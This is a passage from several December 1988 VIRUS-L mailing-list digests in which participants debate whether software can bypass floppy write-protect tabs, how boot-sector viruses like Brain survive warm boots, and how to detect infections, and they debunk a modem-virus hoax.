attempted to use INT 13H function 03H (absolute disk write) to write
to a floppy disk, which was write-protected with an opaque (flat
black) write protect tab in a 5 1/4" 360k drive on a Zenith Z-386.
The program failed to write to a write-protected floppy disk, but (as
is to be expected) had no problems writing to a non-write-protected
disk.  That's the closest ROM BIOS interrupt to the disk controller
hardware that I know of.  Anyone want to write a short piece of code
that programs the disk controller itself without the aid of any
supplied interrupts?

This topic has been kicked around unconclusively here for some time
now, and unless someone can come up with a verifyable and duplicatable
method to get around a properly write-protected disk, then I think
that we should assume that it is not possible to circumvent.

Ken

Kenneth R. van Wyk                   Mom: Calvin, what do you need designer
User Services Senior Consultant           jeans for?!
Lehigh University Computing Center   Hobbes: Pssst, for the babes!
Internet: <[e-mail]> Calvin: The babes, Mom, I gotta look
BITNET:   <LUKEN@LEHIIBM1>                cool!

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest             Tuesday, 20 Dec 1988         Volume 1 : Issue 53

Today's Topics:
Viruses in Commercial Software; Write-Tabs
Thwarting the Brain... (PC)
Cold boot vs. warm boot... (PC)
Virus file and the nets

---------------------------------------------------------------------------

Date:         Mon, 19 Dec 88 18:19:42 EST
From:         Steve <[e-mail]>
Subject:      Viruses in Commercial Software; Write-Tabs

In regard to Homer Smith's letter about his risks from unintentional
virus contamination of the commercial disks he produces:

   1) Disks containing only source code are *not* absolutely safe, but
they would be much safer, in my opinion, if carefully examined.  There
is nothing to prevent a virus or some such thing from writing hidden
files or storing things in "bad" sectors where the average person
doing a DIR wouldn't see them.  Furthermore, a virus could write the
essential part of itself onto the boot sector (like brain does) and
wait for someone to boot their system with the disk in place, at which
time it could become active.

   2) I would recommend that you periodically examine your disks for
known viruses (like looking at the boot sector with Norton utilities
or the like) and running detection programs for known viruses.  It
should not be necessary to examine every single disk --- only a small
representative sample, assuming that potential viruses will always
infect a disk if presented (except that one can imagine a virus that
only attacks on Tuesdays).  For example, periodically inspect some of
the most recent disks and also whenever you have introduced something
from outside your system (e.g. a new program or somebody else's disk).
If you don't have the time or perhaps expertise, I would think it
would be well worth your while to get someone to do it for you (at
least find out which programs you should be using to look for
viruses).  Does anybody know of anyone who specializes in examining
other people's disks for viruses (like for $)?

   3) If you keep the system used to produce your product well
isolated, then your risks should be lessened considerably.

   4) Maybe consulting a lawyer would help, but couldn't you state in
the fine print in the literature distributed with your disks that you
have taken great pains to isolate your system (and product) from
potential sources of viral contamination, and that you regularly check
your system and disks for common, known viruses...  BUT (here comes
the disclaimer) you assume no responsibility for anything harmful that
might be on any of your disks, and that the buyer in buying the
product acknowledges this and uses it at his own risk?  That is, you
state that you have taken every reasonable measure to protect the
consumer, but for legal reasons wash your hands of any liability --- a
licensing agreement.

   5) About a virus writing on a disk inspite of a write-protect tab,
I don't believe it.  I think there must be a misunderstanding
somewhere.  I suppose the details of enforcing a write-lock vary, but
they all rely on hardware that disables the write-mode of the disk
drive.  There is no way software can circumvent this protection,
unless your drive is defective and the write-lock-tab feature isn't
working properly.

Steven C. Woronick      | Disclaimer:  I'm just a physicist.  These are
Physics Dept.           | entirely my own opinions and not necessarily
SUNY                    | anybody else's and may not even be right...
Stony Brook, NY  11794  |
Acknowledge-To: <XRAYSROK@SBCCVM>

------------------------------

Date:     Mon, 19 Dec 88 17:43 EST
From:     <[e-mail]>
Subject:  Thwarting the Brain... (PC)

Reading all the comments about the brain virus one thing becomes
clear: It can be detected because it announces itself in the Boot
record with messages like "Welcome to the dungeon", "BRAIN COMPUTER
SERVICES" etc etc etc...  I can't help but wonder what would happen if
some wily person decided to create his or her own strain with
absolutely no messages (including not modifying the volume label). I
shudder even as I write this. Could detection be that easy then
atleast for lay persons like me. Most of the preventive measures that
I've read so far say something like "Use a disk editor like Norton
Utilities and examine the Boot record. If you see a message saying
Brain etc etc, then your disk is infected" What if there were no
messages. I c wouldn't know the difference between the boot record of
an uninfected disk and that of an infected disk.(of late I've been
peering into the boot record of every 5.25" floppy I own ! Thats how
paranoid I've become) . What's a possible solution.  Pre formatted
floppy disks of two kinds (bootable and non bootable) where only the
manufacturer does any work with the boot record. (Vendors are already
sellin g pre formatted disks so thats not so absurd, is it?)  A
special material for the boot record which can cause it to be read but
not written to, except by special devices which only manufacturers
will own.  This may seem off the wall right now but I think we all
need to think of some solution to this "modification of boot record"
business, especially because most programs can't treat it like a
normal file and hence can't check for any changes to the boot record.
(I'm referring to programs like flushot and checkup which can be made
to check files for changes since the last run).  Any
comments/additions to the theme?

Mathew Mathai
Virginia Tech
bitnet : MATHAIMT@VTCC1

------------------------------

Date: 19 December 1988 21:22:30 CST
From: "Michael J. Steiner  " <[e-mail]>
Subject:  Cold boot vs. warm boot... (PC)

How can a virus stay "effective" after a warm boot? Aren't both kinds of
boots the same? (Evidently, there must be differences; what are they?)

                                             Michael Steiner
                                             Email: [e-mail]

------------------------------

Date:     Mon, 19 Dec 88 22:38:24 PST
From:     Robert Slade <[e-mail]>
Subject:  Virus file and the nets

I am being flooded with requests for the files, so you may get delayed
responses.

You may also get no responses.  For some reason, many messages get through to
me, but the return path won't work.  Sorry about that.  Not much I can do.

[e-mail] - he changed his name to "Silver Donald
Cameron.  What disks do you use?  $15-20.

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest             Tuesday, 20 Dec 1988         Volume 1 : Issue 54

Today's Topics:
Re: Trapdisk (PC)
Re: nVIR? (Mac)
Re: Confusion about the Brain virus. (PC)
Warm boot & thwarting the Brain (PC)
Writing with a write protect tab (CP/M & PC)
Write protect tabs (PC & Apple ][e)
write locking floppies (PC)
Write Protection on the Apple II series
IBM BIOS ROM source listing of disk write (PC)

---------------------------------------------------------------------------

Date:        20 December 88, 15:42:14 MEZ
From:        Otto Stolz    [phone]     RZOTTO   at DKNKURZ1
In-Reply-To: Poster of 16 Dec 88 13:59:46 -0800 from SLCLANCY at UCI
Subject:     Re: Trapdisk (PC)

> but I do not like that it remains memory resident.

Steve,

this is the only way a program can monitor other programs' activities,
e.g. disk writes.  So you have to live with it.

If I'm right, a memory-resident program can only monitor disk-writes
that are initiated through normal DOS (and perhaps BIOS) calls, but no
low-level disk-writes (which would normally be even more destructive).
So don't feel too sure with Trapdisk and the like!

Best regards
             Otto

------------------------------

Date:         Tue, 20 Dec 88 10:24:33 EST
From:         Joe McMahon <[e-mail]>
Subject:      Re: nVIR? (Mac)

nVIR is a not-too-bright, kind of silly virus that really doesn't do
anything much other than count the number of infections (and to say
"Don't panic" or beep on a 1/16 chance).

>From what you were saying, its sounds like you may have the "suicide
resource" around somewhere. Check your System file for an nVIR ID=10
with ResEdit. If that resource is there, nVIR (at least one version)
will remove itself from applications. Note that the mere presence of
the resource is checked; the nVIR 10 need have nothing in it.

- --- Joe M.

------------------------------

Date:        20 December 88, 15:50:16 +0100 (MEZ)
From:        Otto Stolz      [phone]     RZOTTO   at DKNKURZ1
Subject:     Re: Confusion about the Brain virus. (PC)

> Could some one please explain why a warm boot by itself is not enough
> to prevent the spread of infection

When a program makes itself memory-resident, as many Virus strains
(e.g.  Brain, Israel, Blackjack) do, it can hook (and subsequently
respond to) ANY interrupt.  These are normal MS-DOS services.

Probably, the Brain virus (I've actually never seen one) hooks the
keyboard interrupt, and responds to the CTRL-ALT-DEL key combination
with re-initializing itself and booting the rest of the system.  For a
bootsector virus, as Brain, this should be particularily easy, as the
necessary code is already there.

Given this possibility, it is wise to switch an MS-DOS system OFF and
again ON after every virus infection, as long as you don't know really
everything about you un-welcome guest.  If you switch off a PC, the
whole memory is erased (only CMOS is retained, which is rather small,
and contains the hardware-configuration & clock-time).  But don't forget
taking out the infected diskette before you switch on again :-)

> Could some one please explain how a write-protected boot disk could
> get infected

Yes, indeed, could someone explain?  I was quite sure that the write-
protect tab is a hardware-feature!  Am I wrong???

Some possibilities, I could think of, regarding that recent posting on
a perceived infection of a write-protected diskette:

1. The diskette was infected some other time, when it was not protected.
   Remember, we read these days in VIRUS-L that some Brain variant is
   very clever in hiding itself:  it even fools DEBUG and other utilities
   in displaying a copy of the original boot-sector (from a "bad" sector)
   instead of the infected one.

2. The write-protect tab was not applied properly.
   Remember, that the logic of 3.5" diskettes is opposed to the 5.25"
   logic, which could give rise to confusion.  Remember that we read some
   months ago in VIRUS-L, that certain sorts of half-transparent tabs
   do not work with certain devices.

3. The hardware used did not work properly.
   So far, we've read only about one single incident on one single
   computer!  Remember, that there are indeed devices that can write
   regardless of the tab. (How else could Microsoft deliver their soft-
   ware on diskettes without a write-enable notch?)  Some months ago,
   when this matter was discussed here, somebody wrote that there's only
   one wire to inhibit writing;  if this wire is broken, what would be
   the effect?  And who knows all brands of all diskette-drives, and
   their properties?

I'd apprecieate greatly, if these possibilities would be checked
thoroughly and reported back to VIRUS-L.  I hope the person who embarked
on this topic could contribute (I forgot who it was, and have not enough
disk space available to store the digests, permanently).

Best wishes for a merry Xmas without virus attacks :-)
                                                       Otto

------------------------------

Date: 20 December 1988, 10:25:50 EST
From: David M. Chess                          CHESS    at YKTVMV
Subject: Warm boot & thwarting the Brain (PC)

> How can a virus stay "effective" after a warm boot?

"Warm boot" just means pressing Ctrl-Alt-Del.   A virus could install
itself so as to be able to detect when you've pressed those three keys,
and simulate a boot, leaving itself resident in memory (a boot
virus discovered at Yale the other month does just that).  So a
warm boot isn't necessarily safe, because the virus may be watching
for it.  A cold boot (turning off the power switch) is something
the virus can't see and simulate!  *8)

>            This may seem off the wall right now but I think we all
> need to think of some solution to this "modification of boot record"
> business, especially because most programs can't treat it like a
> normal file and hence can't check for any changes to the boot record.

Programs can read the boot record just as easily (well, almost as
easily) as they can read the contents of a file.   It wouldn't be
hard to write a program that would read the boot records, save
the data to a file, and then periodically compare the current
contents with the previous one.   I think some of the commercial
programs do this.  Of course, for true security you have to make
sure that you are on a "clean" system when you run the check,
otherwise the virus could be intercepting your "show me the
boot sector" requests, and lying to you!   (Same goes for checking
the contents of files, really.)

DC

------------------------------

Date: Tue, 20 Dec 88 10:56 EST
From: X-=*REB*=-X <[e-mail]>
Subject: Writing with a write protect tab (CP/M & PC)

I have two points on this subject.  8" disk drives on CP/M (and other)
systems used what we know as a "write protect" tab as a "write enable"
tab.   To my knowlege, all 5.25"  drives operate  with "write protect"
tabs.

A while  back there was some concern  about diskette manufacturers who
provided  metallic  write  protect tabs.    This  wouldn't  have  been
important if a manufacturer  of disk drives (don't  know which one any
more)  hadn't designed his  write protect circutry  to  use an optical
sensor.  It seems  that the  circut tried to   reflect light off  of a
mirror  on the opposite  side of  the  slot where  the   diskette  was
supposed to go.  This  would have worked under ordinary circumstances.
But with the metallic - and reflective - write protect tabs, the light
bounced  back regardless   of the state  of  the  tab.  Thus the  tabs
provided no measure of safety whatsoever.  This was  before the advent
of PC's as  we know them today and  I doubt any  of  these drives ever
made it to current machines.

Richard Baum
   ________________________________________________________________
  /InterNet:[e-mail]  BitNet: [e-mail] ",
 /  SlowNet: 508 E 4th St Suite #1, Bethlehem, PA 18015 215-867-8433",
/NJ Slownet: 861 Washington Avenue Westwood, NJ 07675   201-666-9207 ",
"--------------------------------------------------------------------"
If you'll be my Dixie chicken, I'll be your Tennessee lamb,
and we can walk together down in Dixie land...

------------------------------

Date: Tue, 20 Dec 88 11:06 EDT
From: <[e-mail]>
Subject: Write protect tabs (PC & Apple ][e)

In volume 1 : Issue 53, Steve Woronick <[e-mail]> writes:

>   5) About a virus writing on a disk inspite of a write-protect tab,
>I don't believe it.  I think there must be a misunderstanding
>somewhere.  I suppose the details of enforcing a write-lock vary, but
>they all rely on hardware that disables the write-mode of the disk
>drive.  There is no way software can circumvent this protection,
>unless your drive is defective and the write-lock-tab feature isn't
>working properly.

Well, I don't know about the PC's *you* are using, but I believe it is
quite possible to circumvent this restriction on certain machines. An
old pirate friend of mine, a few years back, had his Apple ][e rigged
so that he could copy things to the backs of disks without cutting a
notch into it. According to him, it was done from the software end.
Now, this could be either an exploitation of a since-fixed bug, or
maybe just bull on his part, but don't rule it out as a possibility.
(Actually, what we need is someone who knows well the innards of, say,
disk driver software and that ilk.)


Damian Hammontree                         EMail:   [e-mail]
IGF system manager                                [e-mail]
Interactive Graphics Facility
Johns Hopkins Medical School, Baltimore, MD 21205   Tel: [phone]
==============================================================================
=="This new learning *amazes* me, Bedevere. Explain to me again how sheep's ==
=============== bladders may be used to prevent earthquakes..."===============
==============================================================================

------------------------------

Date: Tue, 20 Dec 88 11:06:41 CDT
From: Len Levine <[e-mail]>
Subject: write locking floppies (PC)

>This topic has been kicked around unconclusively here for some time
>now, and unless someone can come up with a verifyable and duplicatable
>method to get around a properly write-protected disk, then I think
>that we should assume that it is not possible to circumvent.

Sorry folks, but my technical folks tell me that the write tab on a
floppy is a soft thing.

I now get that there is a line from the drive to its controller that
is high when the disk is write protected.  A switch (this was actually
done) in that line can emulate a write locked or unlocked state
independent of a tab on the disk.  Thus, at the drive level, the
protection is not hardware.

My people tell me that the controller merely sets an interrupt when an
attempt is made to write to a locked disk.  They feel, but have not
tested, that an attempt to write around the bios can ignore this
interrupt.  If they are right, there is no such thing as a write
locked disk in the pc environment.

They also tell me that the controller ROM is loaded into RAM at boot
time, and may be reloaded by the processor during program execution.
I am not sure what this implies but it seems to improve the chances
that a change in the driver will be corrected from time to time.

I think the question is very very open.

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Leonard P. Levine               e-mail [e-mail] |
| Professor, Computer Science             Office [phone] |
| University of Wisconsin-Milwaukee       Home   [phone] |
| Milwaukee, WI 53201 U.S.A.              Modem  [phone] |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

------------------------------

Date:     Tue, 20 Dec 88 14:58 EDT
From:     <[e-mail]>
Subject:  Write Protection on the Apple II series

        On the Apple IIe series computers, one can enable or diable
write protect checking via simple software switch.  Disk writing
routines are available in the Disk Controller card, and can be
accessed from the machine level easily.  The entire disk writing
operation is trivial and well documented at least one magazine,
Hardcore Computist, has published complete source for the Disk
Controller, as well as all pertinent information for their usage.
Hope this helps somewhat.  Even if it is information for the Apple II
series.

                                        Mark James Burge
                                        [e-mail]

------------------------------

Date: Tue, 20 Dec 1988 15:42:12 EST
From: Ken van Wyk <[e-mail]>
Subject: IBM BIOS ROM source listing of disk write (PC)

Ok folks, all this talk about floppy disk write protect tabs is
getting nowhere quickly.  I have the IBM Personal Computer Technical
Reference manual right here in front of me, and I'm looking at the
disk i/o portions of the 8088 assembly language source code to the ROM
BIOS (page 5-68 in this revision of the manual)...

When writing to floppy disk, the code instructs the disk controller to
perform the write sequence, and *THEN* it checks to see whether that
failed due to (among other things) a write protect situation.  That
sure indicates (to me at least) that the write protection is done in
hardware, or at least, if it is in software, then the software is
isolated in the disk controller or disk drive itself.

This issue of VIRUS-L has sure seen a lot of discussion on write
protect tabs...  However, I remain convinced that the write protection
is supplied via hardware (or at least via software/firmware local to
the controller or to the disk drive itself) until anyone can send me a
few lines of MASM code that will write to a properly functioning
write-protected floppy disk.  Any takers?

Ken

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest            Wednesday, 21 Dec 1988        Volume 1 : Issue 55

Today's Topics:
Warm vs. Cold boots
Re: software override of write protect tabs?
Vendor Viruses
Re: dangers of distributing software (PC & General)
Re: Can virus be placed on blank formatted disk? (PC)

---------------------------------------------------------------------------

Date:     Tue, 20 Dec 88 19:24 EST
From:     <[e-mail]>
Subject:  Warm vs. Cold boots


>From: "Michael J. Steiner  " <[e-mail]>
>Subject:  Cold boot vs. warm boot... (PC)
>
>How can a virus stay "effective" after a warm boot? Aren't both kinds of
>boots the same? (Evidently, there must be differences; what are they?)
>                                             Michael Steiner
>                                             Email: [e-mail]

Warm boots and cold boots differ in the amount of memory they clear
when they are executed.  A cold boot is considered to be when the
machine's power is cut, and then turned back on be it by flipping the
switch, pulling the plug or whatever other metaphor/method you want to
toss in here.  A warm boot is simply a reset which can be done by
issuing a system command, pressing an interrupt/ reset switch or
whatever.

The point is that with a warm boot, the system still has power, so
some areas of memory can retain data, even though much of it is
cleared. Thus, it is conceivable that a virus could survive a warm
boot if it was off in a secluded/ non-general area of memory.  Usually
when a warm boot occurs, the only thing that is cleared is main memory
and lots of pointers and tables are reset.  Special caches, ram-disks,
clock/calendar memory, all normally retain their contents prior to the
warm boot.

- ------------------
Steve Okay [e-mail]/[e-mail]/CSR032 on The Source

                        "Chipmunks roasting over an open fire,
                         Jack Frost ripping up your nose..."

------------------------------

Date: Tue, 20 Dec 88 21:39:05 CST
From: <[e-mail]>
Subject: Re: software override of write protect tabs?

In my IBM tech reference, in the section for the diskette drive: "If
the diskette is write-protected, a write protect sensor disables the
drive's circuitry, and an appropriate signal is sent to the interface
(diskette controller)."

Also:
"The write protect sensor disables the diskette drive's electronics
whenever a write protect tab is applied to the diskette."

In the section on the diskette adapter:
"Write Enable line (from the adapter to the drive): The drive disables
write current in the head unless this line is active."

In the schematics in back, the diagram for the diskette drive has the
Write Protect sensor (on the drive) and the Write Enable line (from
the controller) wired in such a way that WP must be false and WE must
be true in order for a logic 0 to be applied to a pin of some mystery
IC.  I'm not an electronics expert, but it seems likely to me that the
drive won't let the controller override the WP switch.  If this is
true, then there's no way for software to override it either.

Rich

------------------------------

Date:  Tue, 20 Dec 88 23:59 EST
From:  [e-mail]
Subject:  Vendor Viruses

>   two issues back in pc magazine, john dvorak wrote an article
>pertaining to the issue of software manufacturers imbedding viruses
>in their applications.
>   he stated that many companies are doing this to sort of 'do away
>with the competition'. the virus writes itself to the boot disk and
>when booted up searches for the competition. if found, it does some
>damage.
[Hypothetical omitted.]

>   i hope that software (as well as hardware) manufactureres do not
>continue implenting viruses to monopolize the market. heaven knows we small
> at users will have to program our own applications!
>   swifty LeBard OO--=+

It is Mr. Dvorak's style to be provocative.  In the interest of that
style he often crosses the line between reporting and speculating.  I
am not aware of any evidence that this assertion of his is any more
substantial than any of his others.  While we do not seem to have
discovered any sanctions to discourage the rude, disorderly, impolite,
and irresponsible behavior of the non-professionals in our midst, you
can be sure that the market would mete prompt and effective sanctions
against vendors behaving in such a manner.

There are a few anecdotes in other markets of firms that tried to
trash the reputations of their competitors.  Most of these backfired,
but none are recorded to have been successful.  There is no reason to
believe that this market is any different.

Only users have a greater interest in an orderly marketplace than do
vendors.  Vendors seem to have a better idea of where their real
interests rest.

You need not hope idly for the end of a practice for which the only
evidence of its existence is sensational assertion.


William Hugh Murray, Fellow, Information System Security, Ernst & Whinney
2000 National City Center Cleveland, Ohio 44114
21 Locust Avenue, Suite 2D, New Canaan, Connecticut 06840

------------------------------

Date:         Wed, 21 Dec 88 06:26:59 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      Re: dangers of distributing software (PC & General)

>   1) Disks containing only source code are *not* absolutely safe, but
>they would be much safer, in my opinion, if carefully examined.  There
>is nothing to prevent a virus or some such thing from writing hidden
>files or storing things in "bad" sectors where the average person
>doing a DIR wouldn't see them.  Furthermore, a virus could write the
>essential part of itself onto the boot sector (like brain does) and
>wait for someone to boot their system with the disk in place, at which
>time it could become active.

     This assumes the disk is bootable?  I am sending out disks
with NOTHING on them but copied ascii files using the dos copy
command.  They are formated with the format command and then
copied.  No system.  What dangers remain?

     Homer

------------------------------

Date:         Wed, 21 Dec 88 06:44:57 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      Re: Can virus be placed on blank formatted disk? (PC)

>From:         Joe Simpson <[e-mail]>
>Subject:      MS-DOS and write protected diskettes
>
>1.  Media susceptible to virus attack.
>    Formatted MS-DOS diskettes with or without an operating system
>    have a boot block.  Some viruses, including Brain, can subvert
>    this boot block and use it as a vector for infection.  Some
>    viruses also can survive a warm boot.  Thus it is quite possible
>    for a disk containing only Fortran source code to be infected.
>    This can happen while DOS as we know it is active, or after an
>    attempt to warm boot the diskette on an infected computer.

     Still not clear on this.  If I put a fresh floppy in the A drive
and format it, can the virus be laid down on the floppy at this time?
If I then copy files from the C drive, can the virus be laid down at
this time?

     If I attempt to warm boot the machine with the empty floppy in
place, this results in a failure to boot of course, but can the virus
be laid down at this time?

     Let's say the floopy gets infected.  How can it then infect
another machine?  During a warm or cold boot with the floppy in
place (causing boot failure)?

     If the floppy is infected must it have bad sectors?  Won't
checkdsk find this out?  If the disk has no bad sectors, does this
mean the floppy is clean of all or just certain viruses?

     The implication in a past posting is that some brain viruses
will cause debug to not execute properly d0:0.  Is this the boot
sector?  And is this correct about brain?

     Homer

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest            Wednesday, 21 Dec 1988        Volume 1 : Issue 56

Today's Topics:
followup on alleged modem virus (PC)
File: Misc. Notes: Virus Listings / Pc Mag Article
Write protect circuitry on Apple II line
Re: Can virus be placed on blank formatted disk? (PC)
Write Protect Gritch
Can virus be placed on a blank formatted disk? (PC)
Nightline virus program
Questions about the Hard Drive (PC)
You can't fool the write protect line w/software (PC)
virus in bad sectors of an unbootable floppy (PC)
Problems with commercial software (PC)

---------------------------------------------------------------------------

Date: Wed, 21 Dec 1988 9:11:09 EST
From: Ken van Wyk <[e-mail]>
Subject: followup on alleged modem virus (PC)

It's been brought to my attention that the report of a modem virus
here on VIRUS-L a couple weeks ago was a hoax.  After looking at the
original announcement of the virus, I'm inclined to agree with that.
Specifically:

> TIME:  TUE 10-04-88  03:17:41
> FROM:  MIKE ROCHENLE
> TO:    ALL
> SUBJ:  Really nasty virus
> AREA:  GENERAL (1)
>
>    I've just discovered probably the world's worst computer virus yet.
> ...[Body of text deleted]
> do now is to stick to 1200 baud until we figure this thing out.
>
>                                         Mike RoChenle

In addition to the fact that the reported virus is highly incredible,
as was pointed out by several of our readers, it's even more unlikely
that someone would have the name Mike RoChenle (read: Micro Channel).
Thus, unless someone can come forward with some substantial evidence
on this matter, I'd like for everyone to assume that the reported
virus was a hoax.

Obviously, I can't follow up on every message that gets sent to
VIRUS-L, but I would like to ask all persons submitting messages,
particularly when forwarding messages from other sources (as was the
case here), to confirm their sources of information, within reason.  I
certainly don't want VIRUS-L to become a source of disinformation, and
I'm sure that the readers don't want that either.

Thanks in advance for everyone's cooperation on this.  Oh, and Happy
Holidays to all!

Ken

------------------------------

Date:         Wed, 21 Dec 1988 09:31 EST
From:         [Ed. No From: field, I assume this is from J.D. Abolins?]
Subject:      File: Misc. Notes: Virus Listings / Pc Mag Article

VIRUS LISTINGS: Brett Ingerman and anybody else interested in
 compiling a virus "Dirty Dozen", let's keep in contact. Pam Kane
 is putting up a message on Delphi in order to find out how to
 contact Eric Newhouse. I still needto cull together some tools
 for desinating the cases on the listing so that the listing does
 drive university and other institutional public relations people
 up the wall.

 A possible format for a listing would a "neutral" identifier followed
 by the various names the virus is called. Then the symptoms and any
 particular qualities it may have. If the recovery procedure have any
 special indications, these would be mentioned with the listing for the
 virus. At the end of the listing would be general recovery procedures.

PC MAG ARTICLE: Recently somebody mentioned that John Dvorak's column
 of a few months ago claimed that software writers were already using
 viruses to attack competitors' products. From my recollections, the
 gave this as a hypothetical future scenario, not as a statement of
 current practice. While there have case were virus code was considered
 as a means of dealing with piracy and copyright infringement, no
 major "virus wars" are going on for now. (I have heard reports of
 immature BBS SysOps sabotaging eachother's systems with Trojans and
 viruses, but that's a different matter.)

------------------------------

Date:         Wed, 21 Dec 88 08:27:39 EST
From:         Joe Simpson <[e-mail]>
Subject:      Write protect circuitry on Apple II line

Apple 2 5.25 inch drives had circuit level protection for disk drive
write protection.  Many people installed switches on the drive to
circumvent this.

------------------------------

Date:         Wed, 21 Dec 88 09:15:15 EST
From:         "Christian J. Haller" <[e-mail]>
Subject:      Re: Can virus be placed on blank formatted disk? (PC)

>Date:         Wed, 21 Dec 88 06:44:57 EST
>From:         "Homer W. Smith" <[e-mail]>
>     Still not clear on this.  If I put a fresh floppy in the A drive
>and format it, can the virus be laid down on the floppy at this time?

Yes, if your FORMAT command has been subverted by a virus.

>If I then copy files from the C drive, can the virus be laid down at
>this time?

Yes, if your COPY or DISKCOPY or XCOPY command has been subverted.

>     If I attempt to warm boot the machine with the empty floppy in
>place, this results in a failure to boot of course, but can the virus
>be laid down at this time?

Yes, if the warm boot key sequence has been trapped and subverted.
There is a BIOS call that generates a warm boot without clearing
active memory.  There is no corresponding key combination that can
produce this, but a program can do it easily.

>     Let's say the floopy gets infected.  How can it then infect
>another machine?  During a warm or cold boot with the floppy in
>place (causing boot failure)?

Yes, either one.  The boot sector of the floppy is small, but can easily
point to someplace in memory, which could survive an apparent warm boot,
or to some obscure file on a hard disk, which could survive a cold boot.

>     If the floppy is infected must it have bad sectors?  Won't
>checkdsk find this out?  If the disk has no bad sectors, does this
>mean the floppy is clean of all or just certain viruses?

With only a boot sector's worth of space, a virus couldn't be very
elaborate.  A floppy-based virus would probably have info stored in
bad sectors, like Brain, but not necessarily.  Given complete control
of the File Allocation Table, a virus could hide its presence by
appearing to be junk in unused sectors at the end of the diskette.
Given complete control of the disk controller hardware and its pattern
of representation in memory, other things may be possible, like writing
between the formatted sectors on the diskette, or outside the pattern
of formatted tracks.  The PC system is more full of holes than Swiss
cheese, and I expect the same goes for other kinds of systems too.

>     The implication in a past posting is that some brain viruses
>will cause debug to not execute properly d0:0.  Is this the boot
>sector?  And is this correct about brain?

I don't know about Brain's location in memory, but you could take a look
at the chapter on memory in the MS-DOS Encyclopedia in our Software
Lending Library, 126 CCC, Homer.  Too bad you missed my talk on viruses.

- -Chris Haller
Acknowledge-To: <CJH@CORNELLA>

------------------------------

Date: Wed, 21 Dec 88 09:43:09 EST
From: Don Alvarez <[e-mail]>
Subject: Write Protect Gritch

    OK gang, we're now up to 547 comments on write protect tabs.
    99.9% of these took the form of either "somebofy told me it was
    hardware" or "somebody told me it was software." I may have missed
    one, but near as I can recall, the ONLY PERSON who actually did
    his homework right was our fearless leader, Ken.

    I know Ken doesn't like people flaming on the list, so maybe I'll
    get booted for saying this, but PLEASE, if somebody asks a question
    which has a simple, yes or no answer, and you want to respond with
    an nth generation rumor of unknown origin, keep it short, because
    a thousand people or more are going to have to take the time to
    read what you say.  Better yet, if you want to respond to it,
    be an experimentalist like ken and read the manual or write a piece
    of code or something.

                        *Flame off*
                           - Don

     + ----------------------------------------------------------- +
     |   Don Alvarez               MIT Center For Space Research   |
     |   [e-mail]      77 Massachusetts Ave   37-618   |
     |   [phone]            Cambridge, MA 02139             |
     + ----------------------------------------------------------- +

------------------------------

Date:         Wed, 21 Dec 88 08:53:38 EST
From:         Joe Simpson <[e-mail]>
Subject:      Can virus be placed on a blank formatted disk? (PC)

I'm sorry I was not clear.  Viruses are a lot like game theory from hell.

1.  Places for viruses to remain dormant.
    If it's magnetic and fits in the drive it can be infected.
2.  Places for viruses to be active.
    As far as I know there is only one place for a to
    be active.  That is the computers primary store, where instructions
    can be fetched and interpreted by the CPU.  For most PC's this means
    ram.  Note that the ram may be battery backed up!  If it is not,
    then removing power from this ram is the ONLY safe way to kill an
    active virus image.
3.  How a virus activates.
    As far as I know, all viruses are activated by inserting virus activation
    code in software routinely executed by the PC.  Obvious places for this
    are the boot block of a floopy, with or without DOS on it, the DOS
    hooks where reading and writing take place, and the keyboard interrupt
    hook.
4.  My conclusions.
    If you have an active ram based image of a virus in your system,
    it can do anything it has been programmed to accomplish, including
    writing on any magnetic media it wants to.  NOTE:  Thanks to Ken's
    rigorous inclinations, I feel comfortable in declaring that viruses
    don't have access to write protected floppies on IBM PC's  (old 5.25
    style machines).
5.  What can you do?
    Pray
    Run protection software like FluShot for partial protection.
    Routinely check your hard disk for infection.
    Sample floppies to check for virus infection.
    Get a lawyer to write an obnoxiious, unfair, and effective statement
    of limited liability.

------------------------------

Date: Wed, 21 Dec 88 10:06:28 -0500 (EST)
From: Leslie Burkholder <[e-mail]>
Subject: Nightline virus program

Did anyone tape the Ted Koppel Nightline program on viruses (for
deferred viewing) run on 10 November? Please reply to
[e-mail], rather than the list.
Thanks,
Leslie Burkholder

------------------------------

Date:         Wed, 21 Dec 88 10:22:07 EDT
From:         Swifty LeBard <[e-mail]>
Subject:      Questions about the Hard Drive (PC)

Query: What can any of the known viruses do to the Hard Disk?
       Can they actually disrupt data,  or even damage the drive?
       It now seems that the viruses can actually infect write-protected
       diskettes, how will this effect the hardware of the Hard Disk?

  I also want to thank Christian J. Haller for his info. I learned
   a lot from it! (I just joined virus-l).
   +------------------------+
   |  O                     |
   | ~|\o-#   Swifty LeBard |
   | //                     |
   +------------------------+

[Ed. Oh no...  Take a look at the following message from Richard Baum
and John Hunt; write-protection is done in hardware.]

------------------------------

Date: Wed, 21 Dec 88 11:40 EST
From: X-=*REB*=-X <[e-mail]>
Subject: You can't fool the write protect line w/software (PC)

According to the  circut diagram  from IBM   for  IBM  5.25"  diskette
drives, (From the logic diagram section in the IBM technical reference
guides) the write  protect mechanism is a  hardware  device that takes
its input from the write protect switch.  Normally, the switch remains
closed. When a write protect tab is placed in front of the switch, the
switch is  opened.  Then, the   erase line and the  write  signals are
disabled.  This  is directly  controlled by  the   switch.  There is a
provision  for  this  to be jumpered  so  that  the  drive permanently
ignores the write protect switch.  Thus, all the talk recently of this
being controlled by software is incorrect.

Richard Baum & John Hunt

PS: We have not examined the circut diagrams for 3.5" drives,  but  we
    assume that they work in a similar fashion.
   ________________________________________________________________
  /InterNet:[e-mail]  BitNet: [e-mail] ",
 /  SlowNet: 508 E 4th St Suite #1, Bethlehem, PA 18015 215-867-8433",
/NJ Slownet: 861 Washington Avenue Westwood, NJ 07675   201-666-9207 ",
"--------------------------------------------------------------------"
If you'll be my Dixie chicken, I'll be your Tennessee lamb,
and we can walk together down in Dixie land...

[Ed. Thanks guys!  The only possible weak link then would be a
malfunctioning write-protect sensor (normally an optic sensor, I
believe).  If the light to the sensor passes through the tab due to
a tab being not opaque enough, then I'd assume that the drive might
believe that the drive is ok to write to.  Likewise, if the light is
